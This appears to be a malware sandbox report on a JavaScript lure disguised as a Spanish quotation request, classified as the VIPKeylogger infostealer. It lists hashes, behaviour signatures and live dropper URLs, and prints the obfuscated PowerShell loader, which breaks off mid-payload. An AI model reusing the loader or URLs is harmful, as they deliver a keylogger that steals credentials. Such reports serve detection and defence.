Resubmissions

29/08/2024, 01:48

240829-b78d1sxfjd 10

Analysis

  • max time kernel
    136s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/08/2024, 01:48

General

  • Target

    SOLICITUD DE COTIZACIΓ“N CONSULTA ABB1VCF349750R09095.js

  • Size

    615KB

  • MD5

    3b76608f01f7d04c7f25d4d967bee3fc

  • SHA1

    086e7223511a9292efffc218e5041cf941203751

  • SHA256

    2119893dc47b5db45de446a7ae2cee26d9306617d6eb99ecdaad3bf276682da0

  • SHA512

    1cb4c2906da652068a552ae2f93c94cb1a6f21c8e4a268f66c02acc55f587a0bea47322d62b9faac5e0785cb04e91967eb3d8cd450c4493b9b168c1e498f567e

  • SSDEEP

    12288:UWaIMfBcvb0vq/EJYjfJ5dguMEDuHq7muy8EGnmYPaNM13tc46J4YGy7yW8oBYUU:UWYA9/IzrBJHbMP5d

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg

exe.dropper

https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg

Extracted

Family

vipkeylogger

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\SOLICITUD DE COTIZACIΓ“N CONSULTA ABB1VCF349750R09095.js"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:656
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'Jβ›œ β¨… ␆ β–³ β•“Bpβ›œ β¨… ␆ β–³ β•“G0β›œ β¨… ␆ β–³ β•“YQBnβ›œ β¨… ␆ β–³ β•“GUβ›œ β¨… ␆ β–³ β•“VQByβ›œ β¨… ␆ β–³ β•“Gwβ›œ β¨… ␆ β–³ β•“Iβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“9β›œ β¨… ␆ β–³ β•“Cβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“JwBoβ›œ β¨… ␆ β–³ β•“HQβ›œ β¨… ␆ β–³ β•“dβ›œ β¨… ␆ β–³ β•“Bwβ›œ β¨… ␆ β–³ β•“HMβ›œ β¨… ␆ β–³ β•“Ogβ›œ β¨… ␆ β–³ β•“vβ›œ β¨… ␆ β–³ β•“C8β›œ β¨… ␆ β–³ β•“aQBhβ›œ β¨… ␆ β–³ β•“DYβ›œ β¨… ␆ β–³ β•“Mβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“xβ›œ β¨… ␆ β–³ β•“DYβ›œ β¨… ␆ β–³ β•“Mβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“2β›œ β¨… ␆ β–³ β•“C4β›œ β¨… ␆ β–³ β•“dQBzβ›œ β¨… ␆ β–³ β•“C4β›œ β¨… ␆ β–³ β•“YQByβ›œ β¨… ␆ β–³ β•“GMβ›œ β¨… ␆ β–³ β•“aβ›œ β¨… ␆ β–³ β•“Bpβ›œ β¨… ␆ β–³ β•“HYβ›œ β¨… ␆ β–³ β•“ZQβ›œ β¨… ␆ β–³ β•“uβ›œ β¨… ␆ β–³ β•“G8β›œ β¨… ␆ β–³ β•“cgBnβ›œ β¨… ␆ β–³ β•“C8β›œ β¨… ␆ β–³ β•“MQβ›œ β¨… ␆ β–³ β•“wβ›œ β¨… ␆ β–³ β•“C8β›œ β¨… ␆ β–³ β•“aQB0β›œ β¨… ␆ β–³ β•“GUβ›œ β¨… ␆ β–³ β•“bQBzβ›œ β¨… ␆ β–³ β•“C8β›œ β¨… ␆ β–³ β•“Zβ›œ β¨… ␆ β–³ β•“Blβ›œ β¨… ␆ β–³ β•“GEβ›œ β¨… ␆ β–³ β•“dβ›œ β¨… ␆ β–³ β•“Boβ›œ β¨… ␆ β–³ β•“G4β›œ β¨… ␆ β–³ β•“bwB0β›œ β¨… ␆ β–³ β•“GUβ›œ β¨… ␆ β–³ β•“Xwβ›œ β¨… ␆ β–³ β•“yβ›œ β¨… ␆ β–³ β•“Dβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“Mgβ›œ β¨… ␆ β–³ β•“0β›œ β¨… ␆ β–³ β•“Dβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“Nwβ›œ β¨… ␆ β–³ β•“vβ›œ β¨… ␆ β–³ β•“GQβ›œ β¨… ␆ β–³ β•“ZQBhβ›œ β¨… ␆ β–³ β•“HQβ›œ β¨… ␆ β–³ β•“aβ›œ β¨… ␆ β–³ β•“Buβ›œ β¨… ␆ β–³ β•“G8β›œ β¨… ␆ β–³ β•“dβ›œ β¨… ␆ β–³ β•“Blβ›œ β¨… ␆ β–³ β•“C4β›œ β¨… ␆ β–³ β•“agBwβ›œ β¨… ␆ β–³ β•“Gcβ›œ β¨… ␆ β–³ β•“Jwβ›œ β¨… ␆ β–³ β•“7β›œ β¨… ␆ β–³ β•“CQβ›œ β¨… ␆ β–³ β•“dwBlβ›œ β¨… ␆ β–³ β•“GIβ›œ β¨… ␆ β–³ β•“QwBsβ›œ β¨… ␆ β–³ β•“Gkβ›œ β¨… ␆ β–³ β•“ZQBuβ›œ β¨… ␆ β–³ β•“HQβ›œ β¨… ␆ β–³ β•“Iβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“9β›œ β¨… ␆ β–³ β•“Cβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“TgBlβ›œ β¨… ␆ β–³ β•“Hcβ›œ β¨… ␆ β–³ β•“LQBPβ›œ β¨… ␆ β–³ β•“GIβ›œ β¨… ␆ β–³ β•“agBlβ›œ β¨… ␆ β–³ β•“GMβ›œ β¨… ␆ β–³ β•“dβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“gβ›œ β¨… ␆ β–³ β•“FMβ›œ β¨… ␆ β–³ β•“eQBzβ›œ β¨… ␆ β–³ β•“HQβ›œ β¨… ␆ β–³ β•“ZQBtβ›œ β¨… ␆ β–³ β•“C4β›œ β¨… ␆ β–³ β•“TgBlβ›œ β¨… ␆ β–³ β•“HQβ›œ β¨… ␆ β–³ β•“LgBXβ›œ β¨… ␆ β–³ β•“GUβ›œ β¨… ␆ β–³ β•“YgBDβ›œ β¨… ␆ β–³ β•“Gwβ›œ β¨… ␆ β–³ β•“aQBlβ›œ β¨… ␆ β–³ β•“G4β›œ β¨… ␆ β–³ β•“dβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“7β›œ β¨… ␆ β–³ β•“CQβ›œ β¨… ␆ β–³ β•“aQBtβ›œ β¨… ␆ β–³ β•“GEβ›œ β¨… ␆ β–³ β•“ZwBlβ›œ β¨… ␆ β–³ β•“EIβ›œ β¨… ␆ β–³ β•“eQB0β›œ β¨… ␆ β–³ β•“GUβ›œ β¨… ␆ β–³ β•“cwβ›œ β¨… ␆ β–³ β•“gβ›œ β¨… ␆ β–³ β•“D0β›œ β¨… ␆ β–³ β•“Iβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“kβ›œ β¨… ␆ β–³ β•“Hcβ›œ β¨… ␆ β–³ β•“ZQBiβ›œ β¨… ␆ β–³ β•“EMβ›œ β¨… ␆ β–³ β•“bβ›œ β¨… ␆ β–³ β•“Bpβ›œ β¨… ␆ β–³ β•“GUβ›œ β¨… ␆ β–³ β•“bgB0β›œ β¨… ␆ β–³ β•“C4β›œ β¨… ␆ β–³ β•“Rβ›œ β¨… ␆ β–³ β•“Bvβ›œ β¨… ␆ β–³ β•“Hcβ›œ β¨… ␆ β–³ β•“bgBsβ›œ β¨… ␆ β–³ β•“G8β›œ β¨… ␆ β–³ β•“YQBkβ›œ β¨… ␆ β–³ β•“EQβ›œ β¨… ␆ β–³ β•“YQB0β›œ β¨… ␆ β–³ β•“GEβ›œ β¨… ␆ β–³ β•“Kβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“kβ›œ β¨… ␆ β–³ β•“Gkβ›œ β¨… ␆ β–³ β•“bQBhβ›œ β¨… ␆ β–³ β•“Gcβ›œ β¨… ␆ β–³ β•“ZQBVβ›œ β¨… ␆ β–³ β•“HIβ›œ β¨… ␆ β–³ β•“bβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“pβ›œ β¨… ␆ β–³ β•“Dsβ›œ β¨… ␆ β–³ β•“Jβ›œ β¨… ␆ β–³ β•“Bpβ›œ β¨… ␆ β–³ β•“G0β›œ β¨… ␆ β–³ β•“YQBnβ›œ β¨… ␆ β–³ β•“GUβ›œ β¨… ␆ β–³ β•“Vβ›œ β¨… ␆ β–³ β•“Blβ›œ β¨… ␆ β–³ β•“Hgβ›œ β¨… ␆ β–³ β•“dβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“gβ›œ β¨… ␆ β–³ β•“D0β›œ β¨… ␆ β–³ β•“Iβ›œ β¨… ␆ β–³ β•“Bbβ›œ β¨… ␆ β–³ β•“FMβ›œ β¨… ␆ β–³ β•“eQBzβ›œ β¨… ␆ β–³ β•“HQβ›œ β¨… ␆ β–³ β•“ZQBtβ›œ β¨… ␆ β–³ β•“C4β›œ β¨… ␆ β–³ β•“Vβ›œ β¨… ␆ β–³ β•“Blβ›œ β¨… ␆ β–³ β•“Hgβ›œ β¨… ␆ β–³ β•“dβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“uβ›œ β¨… ␆ β–³ β•“EUβ›œ β¨… ␆ β–³ β•“bgBjβ›œ β¨… ␆ β–³ β•“G8β›œ β¨… ␆ β–³ β•“Zβ›œ β¨… ␆ β–³ β•“Bpβ›œ β¨… ␆ β–³ β•“G4β›œ β¨… ␆ β–³ β•“ZwBdβ›œ β¨… ␆ β–³ β•“Doβ›œ β¨… ␆ β–³ β•“OgBVβ›œ β¨… ␆ β–³ β•“FQβ›œ β¨… ␆ β–³ β•“Rgβ›œ β¨… ␆ β–³ β•“4β›œ β¨… ␆ β–³ β•“C4β›œ β¨… ␆ β–³ β•“RwBlβ›œ β¨… ␆ β–³ β•“HQβ›œ β¨… ␆ β–³ β•“UwB0β›œ β¨… ␆ β–³ β•“HIβ›œ β¨… ␆ β–³ β•“aQBuβ›œ β¨… ␆ β–³ β•“Gcβ›œ β¨… ␆ β–³ β•“Kβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“kβ›œ β¨… ␆ β–³ β•“Gkβ›œ β¨… ␆ β–³ β•“bQBhβ›œ β¨… ␆ β–³ β•“Gcβ›œ β¨… ␆ β–³ β•“ZQBCβ›œ β¨… ␆ β–³ β•“Hkβ›œ β¨… ␆ β–³ β•“dβ›œ β¨… ␆ β–³ β•“Blβ›œ β¨… ␆ β–³ β•“HMβ›œ β¨… ␆ β–³ β•“KQβ›œ β¨… ␆ β–³ β•“7β›œ β¨… ␆ β–³ β•“CQβ›œ β¨… ␆ β–³ β•“cwB0β›œ β¨… ␆ β–³ β•“GEβ›œ β¨… ␆ β–³ β•“cgB0β›œ β¨… ␆ β–³ β•“EYβ›œ β¨… ␆ β–³ β•“bβ›œ β¨… ␆ β–³ β•“Bhβ›œ β¨… ␆ β–³ β•“Gcβ›œ β¨… ␆ β–³ β•“Iβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“9β›œ β¨… ␆ β–³ β•“Cβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“Jwβ›œ β¨… ␆ β–³ β•“8β›œ β¨… ␆ β–³ β•“Dwβ›œ β¨… ␆ β–³ β•“QgBBβ›œ β¨… ␆ β–³ β•“FMβ›œ β¨… ␆ β–³ β•“RQβ›œ β¨… ␆ β–³ β•“2β›œ β¨… ␆ β–³ β•“DQβ›œ β¨… ␆ β–³ β•“XwBTβ›œ β¨… ␆ β–³ β•“FQβ›œ β¨… ␆ β–³ β•“QQBSβ›œ β¨… ␆ β–³ β•“FQβ›œ β¨… ␆ β–³ β•“Pgβ›œ β¨… ␆ β–³ β•“+β›œ β¨… ␆ β–³ β•“Ccβ›œ β¨… ␆ β–³ β•“Owβ›œ β¨… ␆ β–³ β•“kβ›œ β¨… ␆ β–³ β•“GUβ›œ β¨… ␆ β–³ β•“bgBkβ›œ β¨… ␆ β–³ β•“EYβ›œ β¨… ␆ β–³ β•“bβ›œ β¨… ␆ β–³ β•“Bhβ›œ β¨… ␆ β–³ β•“Gcβ›œ β¨… ␆ β–³ β•“Iβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“9β›œ β¨… ␆ β–³ β•“Cβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“Jwβ›œ β¨… ␆ β–³ β•“8β›œ β¨… ␆ β–³ β•“Dwβ›œ β¨… ␆ β–³ β•“QgBBβ›œ β¨… ␆ β–³ β•“FMβ›œ β¨… ␆ β–³ β•“RQβ›œ β¨… ␆ β–³ β•“2β›œ β¨… ␆ β–³ β•“DQβ›œ β¨… ␆ β–³ β•“XwBFβ›œ β¨… ␆ β–³ β•“E4β›œ β¨… ␆ β–³ β•“Rβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“+β›œ β¨… ␆ β–³ β•“D4β›œ β¨… ␆ β–³ β•“Jwβ›œ β¨… ␆ β–³ β•“7β›œ β¨… ␆ β–³ β•“CQβ›œ β¨… ␆ β–³ β•“cwB0β›œ β¨… ␆ β–³ β•“GEβ›œ β¨… ␆ β–³ β•“cgB0β›œ β¨… ␆ β–³ β•“Ekβ›œ β¨… ␆ β–³ β•“bgBkβ›œ β¨… ␆ β–³ β•“GUβ›œ β¨… ␆ β–³ β•“eβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“gβ›œ β¨… ␆ β–³ β•“D0β›œ β¨… ␆ β–³ β•“Iβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“kβ›œ β¨… ␆ β–³ β•“Gkβ›œ β¨… ␆ β–³ β•“bQBhβ›œ β¨… ␆ β–³ β•“Gcβ›œ β¨… ␆ β–³ β•“ZQBUβ›œ β¨… ␆ β–³ β•“GUβ›œ β¨… ␆ β–³ β•“eβ›œ β¨… ␆ β–³ β•“B0β›œ β¨… ␆ β–³ β•“C4β›œ β¨… ␆ β–³ β•“SQBuβ›œ β¨… ␆ β–³ β•“GQβ›œ β¨… ␆ β–³ β•“ZQB4β›œ β¨… ␆ β–³ β•“E8β›œ β¨… ␆ β–³ β•“Zgβ›œ β¨… ␆ β–³ β•“oβ›œ β¨… ␆ β–³ β•“CQβ›œ β¨… ␆ β–³ β•“cwB0β›œ β¨… ␆ β–³ β•“GEβ›œ β¨… ␆ β–³ β•“cgB0β›œ β¨… ␆ β–³ β•“EYβ›œ β¨… ␆ β–³ β•“bβ›œ β¨… ␆ β–³ β•“Bhβ›œ β¨… ␆ β–³ β•“Gcβ›œ β¨… ␆ β–³ β•“KQβ›œ β¨… ␆ β–³ β•“7β›œ β¨… ␆ β–³ β•“CQβ›œ β¨… ␆ β–³ β•“ZQBuβ›œ β¨… ␆ β–³ β•“GQβ›œ β¨… ␆ β–³ β•“SQBuβ›œ β¨… ␆ β–³ β•“GQβ›œ β¨… ␆ β–³ β•“ZQB4β›œ β¨… ␆ β–³ β•“Cβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“PQβ›œ β¨… ␆ β–³ β•“gβ›œ β¨… ␆ β–³ β•“CQβ›œ β¨… ␆ β–³ β•“aQBtβ›œ β¨… ␆ β–³ β•“GEβ›œ β¨… ␆ β–³ β•“ZwBlβ›œ β¨… ␆ β–³ β•“FQβ›œ β¨… ␆ β–³ β•“ZQB4β›œ β¨… ␆ β–³ β•“HQβ›œ β¨… ␆ β–³ β•“LgBJβ›œ β¨… ␆ β–³ β•“G4β›œ β¨… ␆ β–³ β•“Zβ›œ β¨… ␆ β–³ β•“Blβ›œ β¨… ␆ β–³ β•“Hgβ›œ β¨… ␆ β–³ β•“TwBmβ›œ β¨… ␆ β–³ β•“Cgβ›œ β¨… ␆ β–³ β•“Jβ›œ β¨… ␆ β–³ β•“Blβ›œ β¨… ␆ β–³ β•“G4β›œ β¨… ␆ β–³ β•“Zβ›œ β¨… ␆ β–³ β•“BGβ›œ β¨… ␆ β–³ β•“Gwβ›œ β¨… ␆ β–³ β•“YQBnβ›œ β¨… ␆ β–³ β•“Ckβ›œ β¨… ␆ β–³ β•“Owβ›œ β¨… ␆ β–³ β•“kβ›œ β¨… ␆ β–³ β•“HMβ›œ β¨… ␆ β–³ β•“dβ›œ β¨… ␆ β–³ β•“Bhβ›œ β¨… ␆ β–³ β•“HIβ›œ β¨… ␆ β–³ β•“dβ›œ β¨… ␆ β–³ β•“BJβ›œ β¨… ␆ β–³ β•“G4β›œ β¨… ␆ β–³ β•“Zβ›œ β¨… ␆ β–³ β•“Blβ›œ β¨… ␆ β–³ β•“Hgβ›œ β¨… ␆ β–³ β•“Iβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“tβ›œ β¨… ␆ β–³ β•“Gcβ›œ β¨… ␆ β–³ β•“ZQβ›œ β¨… ␆ β–³ β•“gβ›œ β¨… ␆ β–³ β•“Dβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“Iβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“tβ›œ β¨… ␆ β–³ β•“GEβ›œ β¨… ␆ β–³ β•“bgBkβ›œ β¨… ␆ β–³ β•“Cβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“Jβ›œ β¨… ␆ β–³ β•“Blβ›œ β¨… ␆ β–³ β•“G4β›œ β¨… ␆ β–³ β•“Zβ›œ β¨… ␆ β–³ β•“BJβ›œ β¨… ␆ β–³ β•“G4β›œ β¨… ␆ β–³ β•“Zβ›œ β¨… ␆ β–³ β•“Blβ›œ β¨… ␆ β–³ β•“Hgβ›œ β¨… ␆ β–³ β•“Iβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“tβ›œ β¨… ␆ β–³ β•“Gcβ›œ β¨… ␆ β–³ β•“dβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“gβ›œ β¨… ␆ β–³ β•“CQβ›œ β¨… ␆ β–³ β•“cwB0β›œ β¨… ␆ β–³ β•“GEβ›œ β¨… ␆ β–³ β•“cgB0β›œ β¨… ␆ β–³ β•“Ekβ›œ β¨… ␆ β–³ β•“bgBkβ›œ β¨… ␆ β–³ β•“GUβ›œ β¨… ␆ β–³ β•“eβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“7β›œ β¨… ␆ β–³ β•“CQβ›œ β¨… ␆ β–³ β•“cwB0β›œ β¨… ␆ β–³ β•“GEβ›œ β¨… ␆ β–³ β•“cgB0β›œ β¨… ␆ β–³ β•“Ekβ›œ β¨… ␆ β–³ β•“bgBkβ›œ β¨… ␆ β–³ β•“GUβ›œ β¨… ␆ β–³ β•“eβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“gβ›œ β¨… ␆ β–³ β•“Csβ›œ β¨… ␆ β–³ β•“PQβ›œ β¨… ␆ β–³ β•“gβ›œ β¨… ␆ β–³ β•“CQβ›œ β¨… ␆ β–³ β•“cwB0β›œ β¨… ␆ β–³ β•“GEβ›œ β¨… ␆ β–³ β•“cgB0β›œ β¨… ␆ β–³ β•“EYβ›œ β¨… ␆ β–³ β•“bβ›œ β¨… ␆ β–³ β•“Bhβ›œ β¨… ␆ β–³ β•“Gcβ›œ β¨… ␆ β–³ β•“LgBMβ›œ β¨… ␆ β–³ β•“GUβ›œ β¨… ␆ β–³ β•“bgBnβ›œ β¨… ␆ β–³ β•“HQβ›œ β¨… ␆ β–³ β•“aβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“7β›œ β¨… ␆ β–³ β•“CQβ›œ β¨… ␆ β–³ β•“YgBhβ›œ β¨… ␆ β–³ β•“HMβ›œ β¨… ␆ β–³ β•“ZQβ›œ β¨… ␆ β–³ β•“2β›œ β¨… ␆ β–³ β•“DQβ›œ β¨… ␆ β–³ β•“Tβ›œ β¨… ␆ β–³ β•“Blβ›œ β¨… ␆ β–³ β•“G4β›œ β¨… ␆ β–³ β•“ZwB0β›œ β¨… ␆ β–³ β•“Ggβ›œ β¨… ␆ β–³ β•“Iβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“9β›œ β¨… ␆ β–³ β•“Cβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“Jβ›œ β¨… ␆ β–³ β•“Blβ›œ β¨… ␆ β–³ β•“G4β›œ β¨… ␆ β–³ β•“Zβ›œ β¨… ␆ β–³ β•“BJβ›œ β¨… ␆ β–³ β•“G4β›œ β¨… ␆ β–³ β•“Zβ›œ β¨… ␆ β–³ β•“Blβ›œ β¨… ␆ β–³ β•“Hgβ›œ β¨… ␆ β–³ β•“Iβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“tβ›œ β¨… ␆ β–³ β•“Cβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“Jβ›œ β¨… ␆ β–³ β•“Bzβ›œ β¨… ␆ β–³ β•“HQβ›œ β¨… ␆ β–³ β•“YQByβ›œ β¨… ␆ β–³ β•“HQβ›œ β¨… ␆ β–³ β•“SQBuβ›œ β¨… ␆ β–³ β•“GQβ›œ β¨… ␆ β–³ β•“ZQB4β›œ β¨… ␆ β–³ β•“Dsβ›œ β¨… ␆ β–³ β•“Jβ›œ β¨… ␆ β–³ β•“Biβ›œ β¨… ␆ β–³ β•“GEβ›œ β¨… ␆ β–³ β•“cwBlβ›œ β¨… ␆ β–³ β•“DYβ›œ β¨… ␆ β–³ β•“Nβ›œ β¨… ␆ β–³ β•“BDβ›œ β¨… ␆ β–³ β•“G8β›œ β¨… ␆ β–³ β•“bQBtβ›œ β¨… ␆ β–³ β•“GEβ›œ β¨… ␆ β–³ β•“bgBkβ›œ β¨… ␆ β–³ β•“Cβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“PQβ›œ β¨… ␆ β–³ β•“gβ›œ β¨… ␆ β–³ β•“CQβ›œ β¨… ␆ β–³ β•“aQBtβ›œ β¨… ␆ β–³ β•“GEβ›œ β¨… ␆ β–³ β•“ZwBlβ›œ β¨… ␆ β–³ β•“FQβ›œ β¨… ␆ β–³ β•“ZQB4β›œ β¨… ␆ β–³ β•“HQβ›œ β¨… ␆ β–³ β•“LgBTβ›œ β¨… ␆ β–³ β•“HUβ›œ β¨… ␆ β–³ β•“YgBzβ›œ β¨… ␆ β–³ β•“HQβ›œ β¨… ␆ β–³ β•“cgBpβ›œ β¨… ␆ β–³ β•“G4β›œ β¨… ␆ β–³ β•“Zwβ›œ β¨… ␆ β–³ β•“oβ›œ β¨… ␆ β–³ β•“CQβ›œ β¨… ␆ β–³ β•“cwB0β›œ β¨… ␆ β–³ β•“GEβ›œ β¨… ␆ β–³ β•“cgB0β›œ β¨… ␆ β–³ β•“Ekβ›œ β¨… ␆ β–³ β•“bgBkβ›œ β¨… ␆ β–³ β•“GUβ›œ β¨… ␆ β–³ β•“eβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“sβ›œ β¨… ␆ β–³ β•“Cβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“Jβ›œ β¨… ␆ β–³ β•“Biβ›œ β¨… ␆ β–³ β•“GEβ›œ β¨… ␆ β–³ β•“cwBlβ›œ β¨… ␆ β–³ β•“DYβ›œ β¨… ␆ β–³ β•“Nβ›œ β¨… ␆ β–³ β•“BMβ›œ β¨… ␆ β–³ β•“GUβ›œ β¨… ␆ β–³ β•“bgBnβ›œ β¨… ␆ β–³ β•“HQβ›œ β¨… ␆ β–³ β•“aβ›œ β¨… ␆ β–³ β•“β›œ β¨… ␆ β–³ β•“pβ›œ β¨… ␆ β–³ β•“Dsβ›œ β¨… ␆ β–³ β•“Jβ›œ β¨… ␆ β–³ β•“Bjβ›œ β¨… ␆ β–³ β•“G8β›œ β¨… ␆ β–³ β•“bQBtβ›œ β¨… ␆ β–³ β•“GEβ›œ β¨… ␆ β–³ β•“bgBkβ›œ β¨… ␆ β–³ β•“EIβ›œ β¨… ␆ β–³ β•“eQB0β›œ β¨… ␆ β–³ β•“GUβ›œ β¨… ␆ β–³ β•“cwβ›œ β¨… ␆ β–³ β•“gβ›œ β¨… ␆ β–³ β•“D0β›œ β¨… ␆ β–³ β•“Iβ›œ β¨… ␆ β–³ β•“Bbβ›œ β¨… ␆ β–³ β•“FMβ›œ β¨… ␆ β–³ β•“eQBzβ›œ β¨… ␆ β–³ β•“HQβ›œ β¨… ␆ β–³ β•“ZQBtβ›œ β¨… ␆ β–³ β•“C4β›œ β¨… ␆ β–³ β•“QwBvβ›œ β¨… ␆ β–³ β•“G4β›œ β¨… ␆ β–³ β•“dgBlβ›œ β¨… ␆ β–³ β•“HIβ›œ β¨… ␆ β–³ β•“dβ›œ β¨… ␆ β–³ β•“Bdβ›œ β¨… ␆ β–³ β•“Doβ›œ β¨… ␆ β–³ β•“OgBGβ›œ β¨… ␆ β–³ β•“HIβ›œ β¨… ␆ β–³ β•“bwBtβ›œ β¨… ␆ β–³ β•“EIβ›œ β¨… ␆ β–³ β•“YQBzβ›œ β¨… ␆ β–³ β•“GUβ›œ β¨… ␆ β–³ β•“Ngβ›œ β¨… ␆ β–³ β•“0β›œ β¨… ␆ β–³ β•“FMβ›œ β¨… ␆ β–³ β•“dβ›œ β¨… ␆ β–³ β•“Byβ›œ β¨… ␆ β–³ β•“Gkβ›œ β¨… ␆ β–³ β•“bgBnβ›œ β¨… ␆ β–³ β•“Cgβ›œ β¨… ␆ β–³ β•“Jβ›œ β¨… ␆ β–³ β•“Biβ›œ β¨… ␆ β–³ β•“GEβ›œ β¨… ␆ β–³ β•“cwBlβ›œ β¨… ␆ β–³ β•“DYβ›œ β¨… ␆ β–³ β•“Nβ›œ β¨… ␆ β–³ β•“BDβ›œ β¨… ␆ β–³ β•“G8β›œ β¨… ␆ β–³ β•“bQBtβ›œ β¨… ␆ β–³ β•“GEβ›œ β¨… ␆ β–³ β•“bgBkβ›œ β¨… ␆ β–³ β•“Ckβ›œ β¨… ␆ β–³ β•“Owβ›œ β¨… ␆ β–³ β•“kβ›œ β¨… ␆ β–³ β•“Gwβ›œ β¨… ␆ β–³ β•“bwBhβ›œ β¨… ␆ β–³ β•“GQβ›œ β¨… ␆ β–³ β•“ZQBkβ›œ β¨… ␆ β–³ β•“EEβ›œ β¨… ␆ β–³ β•“cwBzβ›œ β¨… ␆ β–³ β•“GUβ›œ β¨… ␆ β–³ β•“bQBiβ›œ β¨… ␆ β–³ β•“Gwβ›œ β¨… ␆ β–³ β•“eQβ›œ β¨… ␆ β–³ β•“gβ›œ β¨… ␆ β–³ β•“D0β›œ β¨… ␆ β–³ β•“Iβ›œ β¨… ␆ β–³ β•“Bbβ›œ β¨… ␆ β–³ β•“FMβ›œ β¨… ␆ β–³ β•“eQBzβ›œ β¨… ␆ β–³ β•“HQβ›œ β¨… ␆ β–³ β•“ZQBtβ›œ β¨… ␆ β–³ β•“C4β›œ β¨… ␆ β–³ β•“UgBlβ›œ β¨… ␆ β–³ β•“GYβ›œ β¨… ␆ β–³ β•“bβ›œ β¨… ␆ β–³ β•“Blβ›œ β¨… ␆ β–³ β•“GMβ›œ β¨… ␆ β–³ β•“dβ›œ β¨… ␆ β–³ β•“Bpβ›œ β¨… ␆ β–³ β•“G8β›œ β¨… ␆ β–³ β•“bgβ›œ β¨… ␆ β–³ β•“uβ›œ β¨… ␆ β–³ β•“EEβ›œ β¨… ␆ β–³ β•“cwBzβ›œ β¨… ␆ β–³ β•“GUβ›œ β¨… ␆ β–³ β•“bQBiβ›œ β¨… ␆ β–³ β•“Gwβ›œ β¨… ␆ β–³ β•“eQBdβ›œ β¨… ␆ β–³ β•“Doβ›œ β¨… ␆ β–³ β•“OgBMβ›œ β¨… ␆ β–³ β•“G8β›œ β¨… ␆ β–³ 